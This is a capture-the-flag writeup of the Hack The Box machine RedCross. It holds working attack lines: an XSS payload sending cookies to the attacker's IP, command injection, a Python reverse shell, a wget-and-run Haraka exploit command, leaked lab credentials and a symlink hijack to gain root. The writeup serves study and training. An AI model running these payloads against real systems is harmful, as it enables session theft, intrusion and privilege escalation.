---
title: "Hack The Box: RedCross"
pubDatetime: 2019-04-13T02:30:00.000Z
tags: ["hackthebox", "writeup"]
description: "This is a writeup of the retired Hack The Box RedCross machine."
---
# Info

****Name****: RedCross  
****IP Address****: 10.10.10.113  
****Operating System****: Linux  
****Difficulty****: 6.3/10  
****Base Points****: 30

# Enumeration

As always we start with a nmap scan to determine which ports are open and what services we're up against.

```bash
nmap -sC -sV 10.10.10.113
Starting Nmap 7.70 ( https://nmap.org ) at 2019-04-13 00:04 CEST
Nmap scan report for 10.10.10.113
Host is up (0.030s latency).
Not shown: 997 filtered ports
22/tcp  open  ssh      OpenSSH 7.4p1 Debian 10+deb9u3 (protocol 2.0)
| ssh-hostkey:
|   2048 67:d3:85:f8:ee:b8:06:23:59:d7:75:8e:a2:37:d0:a6 (RSA)
|   256 89:b4:65:27:1f:93:72:1a:bc:e3:22:70:90:db:35:96 (ECDSA)
|_  256 66:bd:a1:1c:32:74:32:e2:e6:64:e8:a5:25:1b:4d:67 (ED25519)
80/tcp  open  http     Apache httpd 2.4.25
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Did not follow redirect to https://intra.redcross.htb/
443/tcp open  ssl/http Apache httpd 2.4.25
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Did not follow redirect to https://intra.redcross.htb/
| ssl-cert: Subject: commonName=intra.redcross.htb/organizationName=Red Cross International/stateOrProvinceName=NY/countryName=US
| Not valid before: 2018-06-03T19:46:58
|_Not valid after:  2021-02-27T19:46:58
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
|   http/1.1
|   http/1.1
|   http/1.1
|   http/1.1
|   http/1.1
|   http/1.1
|   http/1.1
|   http/1.1
|   http/1.1
Service Info: Host: redcross.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

We have three ports open: 22, 80 and 443. We also notice that nmap failed to follow a redirect to `intra.redcross.htb` and that the host is known as `redcross.htb`, so before we proceed, let's edit `/etc/hosts`.

```bash
10.10.10.113    redcross.htb
10.10.10.113   intra.redcross.htb
```

After this is done we can browse to `redcross.htb`.

![](/images/2019/04/intra-redcross.png)

We can now use `openssl` to see if we find some useful information.

```bash
root@kali:~# openssl s_client -connect redcross.htb:443
CONNECTED(00000003)
depth=0 C = US, ST = NY, L = New York, O = Red Cross International, OU = IT, CN = intra.redcross.htb, emailAddress = penelope@redcross.htb
verify error:num=18:self signed certificate
verify return:1
depth=0 C = US, ST = NY, L = New York, O = Red Cross International, OU = IT, CN = intra.redcross.htb, emailAddress = penelope@redcross.htb
verify return:1
---
Certificate chain
 0 s:C = US, ST = NY, L = New York, O = Red Cross International, OU = IT, CN = intra.redcross.htb, emailAddress = penelope@redcross.htb
   i:C = US, ST = NY, L = New York, O = Red Cross International, OU = IT, CN = intra.redcross.htb, emailAddress = penelope@redcross.htb
```

We have a mail address, and potentially a username (_penelope_), in the SSL certificate. Awesome! Let's continue.

Looking at the web page again we see a contact form. We could potentially be able to exploit it.  
At this point I tried several different method before I found one that worked.

By setting up a web server with `python -m SimpleHTTPServer 80` and adding some specially crafted javascript in the "_contact phone or email"_ input we are able to hijack a session.

**Javascript**

```bash
<script>new Image().src="http://10.10.14.11/"+document.cookie;</script>
```

Explanation: When someone opens our contact request, the web page tries to include our "image".  
The client will basically try and include the image from my machine and also send me the cookie for that specific page.

So the request will look like this: `http://attacker-ip/SESSION`.

**Our listener**

```bash
root@kali:~# python -m SimpleHTTPServer 80
Serving HTTP on 0.0.0.0 port 80 ...
10.10.10.113 - - [13/Apr/2019 00:47:30] code 404, message File not found
10.10.10.113 - - [13/Apr/2019 00:47:30] "GET /PHPSESSID=6fl7e04qort3fud7qvamum1l71;%20LANG=EN_US;%20SINCE=1555109249;%20LIMIT=10;%20DOMAIN=admin HTTP/1.1" 404 -
```

Sweet, it worked!  
Someone "viewed" contact request and our XSS payload and we were able to hijack their session: `PHPSESSID=6fl7e04qort3fud7qvamum1l71`.  
We can now "add" that session to our web requests and basically impersonate that user.

# Initial Foothold

Let's log in and find out who the session belongs to.

For this I use `Burp Suite` and match and replace on the _Request Header._

![](/images/2019/04/burp-session-hijack.png)

Refreshing the web site gives us the following response:

![](/images/2019/04/redcross-logged-in.png)

We have successfully logged in as `admin`!

Looking through the messages this one stands out:

```
Please could you check the admin webpanel? idk what happens but when I'm checking the messages, alerts popping everywhere!! 
Maybe a virus?
```

So there's an admin webpanel as well? Let's add `admin.redcross.htb` to `/etc/hosts` and see if we can access it.

![](/images/2019/04/redcross-admin-panel.png)

Checking out "_Network Access_" we see the following:

![](/images/2019/04/redcross-network-access.png)

After poking around a bit we find a `command injection` vulnerability in the _Deny_ functionality.

![](/images/2019/04/redcross-network-access-cominj.png)

Using a python reverse shell we are able to get an initial foothold.

![](/images/2019/04/redcross-python-rev-shell.png)

```bash
root@kali:~# nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.10.12.135] from (UNKNOWN) [10.10.10.113] 36050
/bin/sh: 0: can't access tty; job control turned off
$ whoami;id;hostname
www-data
uid=33(www-data) gid=33(www-data) groups=33(www-data)
redcross
```

Trying to cat `user.txt` gives us a permission denied since the flag is owned by `penelope`.  
Looking for proccesses owned by `penelope` we see the following:

```bash
www-data@redcross:/home/penelope$ ps aux | grep penelope
penelope  1384  0.0  4.4 994728 44960 ?        Ssl  18:22   0:01 node /usr/bin/haraka -c /home/penelope/haraka
www-data  7964  0.0  0.0  11112   964 pts/1    S+   19:30   0:00 grep penelope
```

And doing a searchsploit for `haraka` reveals that there's and RCE vulnerability. Looking at the exploit we see that we need a port for the SMTP connection.

After a bit more enumeration I found that if I whitelist my IP address on the "_Network Access_" and do another nmap scan we get the following results:

```bash
root@kali:~# nmap  10.10.10.113
Starting Nmap 7.70 ( https://nmap.org ) at 2019-04-13 16:20 CEST
Nmap scan report for redcross.htb (10.10.10.113)
Host is up (0.030s latency).
Not shown: 994 closed ports
PORT     STATE SERVICE
21/tcp   open  ftp
22/tcp   open  ssh
80/tcp   open  http
443/tcp  open  https
1025/tcp open  NFS-or-IIS
5432/tcp open  postgresql

Nmap done: 1 IP address (1 host up) scanned in 1.97 seconds
```

So a slight modification of the exploit code from exploit-db makes us able to exploit Haraka. Basically just changing  
`s = smtplib.SMTP(mailserver,25)` to `s = smtplib.SMTP(mailserver,1025)`

First we create a reverse shell which will be executed.

```bash
root@kali:~# cat python_rev_shell.py
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.12.135",31337));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
```

Now we setup two listeners on our machine.

1.  A web server so Haraka can download the python reverse shell.
2.  The listener we want penelope to connect back to.

Then we run the following command on Redcross.

```bash
python haraka_exploit.py -c "wget -O /dev/shm/r.py 10.10.12.135/python_rev_shell.py;/usr/bin/python /dev/shm/r.py" -t penelope@redcross.htb -m localhost
```

And voila! We have escalated to `penelope`!

![](/images/2019/04/redcross-escalate-penelope.png)

Finally we can cat `user.txt`

```bash
penelope@redcross:/home/penelope$ cat user.txt
ac899...329bf
```

# Privilege Escalation

Going back to the admin page there's a function to add virtual users.

![](/images/2019/04/redcross-virtual-user-add.png)

Adding a user gives us a random password.

![](/images/2019/04/redcross-add-test-user.png)

We can ssh into the box with this user, but we are then jailed to `/var/jail/home`.

After looking around in the `/var/www` directory we find some usernames and passwords for a `Postgresql` database.

Logging in to this database as user `unixusrmgr` with password `dheu%7wjx8B&` we find the table `passwd_table`.

```bash
penelope@redcross:/var/www/html/admin/pages$ psql --host 127.0.0.01 --db unix --user unixusrmgr --password
Password for user unixusrmgr: 
psql (9.6.7)
SSL connection (protocol: TLSv1.2, cipher: ECDHE-RSA-AES256-GCM-SHA384, bits: 256, compression: off)
Type "help" for help.

unix=> \dt
            List of relations
 Schema |     Name     | Type  |  Owner   
--------+--------------+-------+----------
 public | group_table  | table | postgres
 public | passwd_table | table | postgres
 public | shadow_table | table | postgres
 public | usergroups   | table | postgres
(4 rows)

unix=> select * from passwd_table;
 username |               passwd               | uid  | gid  | gecos |    homedir     |   shell   
----------+------------------------------------+------+------+-------+----------------+-----------
 tricia   | $1$WFsH/kvS$5gAjMYSvbpZFNu//uMPmp. | 2018 | 1001 |       | /var/jail/home | /bin/bash
 charles  | $1$63babaa1$OF.c/aAILCp3bGH6b7Gu// | 2020 |    0 |       | /              | /bin/bash
 test     | $1$aeTxzMBk$AJQrjed41NkwlOlpvcwkF/ | 2021 | 1001 |       | /var/jail/home | /bin/bash
(3rows)

unix=>
```

So, what if we can change this table? And maybe change `uid`, `gid` and `homedir`?

Turns out we can't change the `uid`:

```bash
unix=> update passwd_table set uid=0 where username='test';
ERROR:  permission denied for relation passwd_table
```

But we can change `gid` and `homedir`.

### Intended root

If we add ourself to group 27 (sudo), we can probably `sudo su` and get the root flag that way.  
Let's try!

```bash
unix=> update passwd_table set gid=27, homedir='/' where username='test';
UPDATE 1
unix=> select * from passwd_table;
 username |               passwd               | uid  | gid  | gecos |    homedir     |   shell   
----------+------------------------------------+------+------+-------+----------------+-----------
 tricia   | $1$WFsH/kvS$5gAjMYSvbpZFNu//uMPmp. | 2018 | 1001 |       | /var/jail/home | /bin/bash
 test     | $1$KKzT04Xu$k/M8/711vi2.q58VoUDLq0 | 2021 |   27 |       | /              | /bin/bash
(2 rows)
```

```bash
root@kali:~# ssh test@10.10.10.113
test@10.10.10.113's password:
Linux redcross 4.9.0-6-amd64 #1 SMP Debian 4.9.88-1+deb9u1 (2018-05-07) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
test@redcross:/$ id
uid=2024(test) gid=27(sudo) groups=27(sudo)
test@redcross:/$ sudo -l

We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:

    #1) Respect the privacy of others.
    #2) Think before you type.
    #3) With great power comes great responsibility.

[sudo] password for test:
Matching Defaults entries for test on redcross:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User test may run the following commands on redcross:
    (ALL : ALL) ALL
test@redcross:/$ sudo su
root@redcross:/# cd /root
root@redcross:~# ls
bin  Haraka-2.8.8  root.txt
root@redcross:~# cat root.txt
892a1...717a4
```

### Unintended root

One of many unintended ways is to add ourself to the root group (GID 0), get access to `/root` and find a directory called `bin`. Then we need to analyze a python script and edit a symlink in order to get code execution as root.

After changing the GID for our user to 0, we get access to `/root`.  
Looking at this directory we find a file called `redcrxss.py`.

```python
#!/usr/bin/python2.7
import mysql.connector
import urllib
import random
import string
import time
import os

url="https://admin.redcross.htb/9a7d3e2c3ffb452b2e40784f77723938/573ba8e9bfd0abd3d69d8395db582a9e.php?"

def launchXSS(xss):
    randomname=''.join(random.choice(string.ascii_uppercase+string.ascii_lowercase+string.digits) for _ in range(8))
    temppath="/root/bin/tmp/"
    fn=temppath+randomname+'.js'
    phantom="/usr/local/bin/phantomjs"
    phjs ='"use strict";\n'
    phjs+="var page = require('webpage').create();\n"
    phjs+="page.open('"+xss+"', function(status) {\n"
    phjs+='  console.log("Status: " + status);\n'
    phjs+='  if(status === "success") {\n'
    phjs+="    page.render('/tmp/example.png');\n"
    phjs+="  }\n"
    phjs+="  phantom.exit();\n"
    phjs+="});\n"

    f=open(fn,'wb')
    f.write(phjs)
    f.close()
    command=phantom+" --ignore-ssl-errors=true "+fn
    print command
    os.system(command)
    os.remove(fn)

while 1:
    cnx = mysql.connector.connect(user='dbcross', password='LOSPxnme4f5pH5wp', host='127.0.0.1', database='redcross')
    cursor = cnx.cursor(dictionary=True)
    query = ("SELECT id, subject, body, cback FROM requests")
    cursor.execute(query)
    res=cursor.fetchall()
    if(len(res)>0):
        for r in res:
            rid=r['id']
            xss=urllib.urlencode({'x':r['cback']})
            query = ("DELETE FROM requests WHERE id = %s")
            cursor.execute(query,(rid,))
            cnx.commit()
            payload=url+xss
            launchXSS(payload)
        cnx.close()
     else:
       print "Sleeping 10 secs..."
       time.sleep(10)
```

Analyzing this file we see that this file is "emulating" the user clicking our XSS payload from earlier. Every 10 seconds the script connects to a database and try to fetch requests coming from the contact form.  
If the script finds a request in the database it will give us a callback if our XSS is "correct".

But if we look closely we see that the script is executing `/usr/local/bin/phantomjs`. But there's one big problem...

```bash
unintended-root@redcross:~/bin$ ls -la /usr/local/bin/phantomjs
lrwxrwxrwx 1 root staff 47 Jun  6  2018 /usr/local/bin/phantomjs -> /opt/phantomjs-2.1.1-linux-x86_64/bin/phantomjs
```

... The file is symlinked and the group `staff` can edit the symlink.

So after discovering this we create a new user with GID 50 (staff) using the "Add virtual user" functionality from `admin.redcross.htb` and create `/tmp/give-shell.sh` containing our reverse shell and make this file executable.  
Then we change the symlink to point to our file.

```bash
unintended-root@redcross:/$ ln -sfn /tmp/give-shell.sh /usr/local/bin/phantomjs
unintended-root@redcross:/$ ls -la /usr/local/bin/phantomjs 
lrwxrwxrwx 1 intended-root staff 18 Apr 12 21:59 /usr/local/bin/phantomjs -> /tmp/give-shell.sh
```

All we need to do now is setup a listener on our machine, go back to the contact form, click "_contact_" and wait a couple of seconds.

```bash
root@kali:~# nc -lvnp 31337
listening on [any] 31337 ...
connect to [10.10.12.135] from (UNKNOWN) [10.10.10.113] 46952
/bin/sh: 0: can't access tty; job control turned off
# whoami;id
root
uid=0(root) gid=0(root) groups=0(root)
# cat /root/root.txt
892a1...717a4
```

[Emiliaclarke Raise The Roof GIF](https://tenor.com/view/emiliaclarke-gif-9613428) from [Emiliaclarke GIFs](https://tenor.com/search/emiliaclarke-gifs)

# Further Reading

[https://www.owasp.org/index.php/Cross-site\_Scripting\_(XSS)](https://www.owasp.org/index.php/Cross-site_Scripting_\(XSS\))

[https://www.owasp.org/index.php/Testing\_for\_Command\_Injection\_(OTG-INPVAL-013)](https://www.owasp.org/index.php/Testing_for_Command_Injection_\(OTG-INPVAL-013\))

[https://baptiste-wicht.com/posts/2012/09/linux-symbolic-links-hard-links.html](https://baptiste-wicht.com/posts/2012/09/linux-symbolic-links-hard-links.html)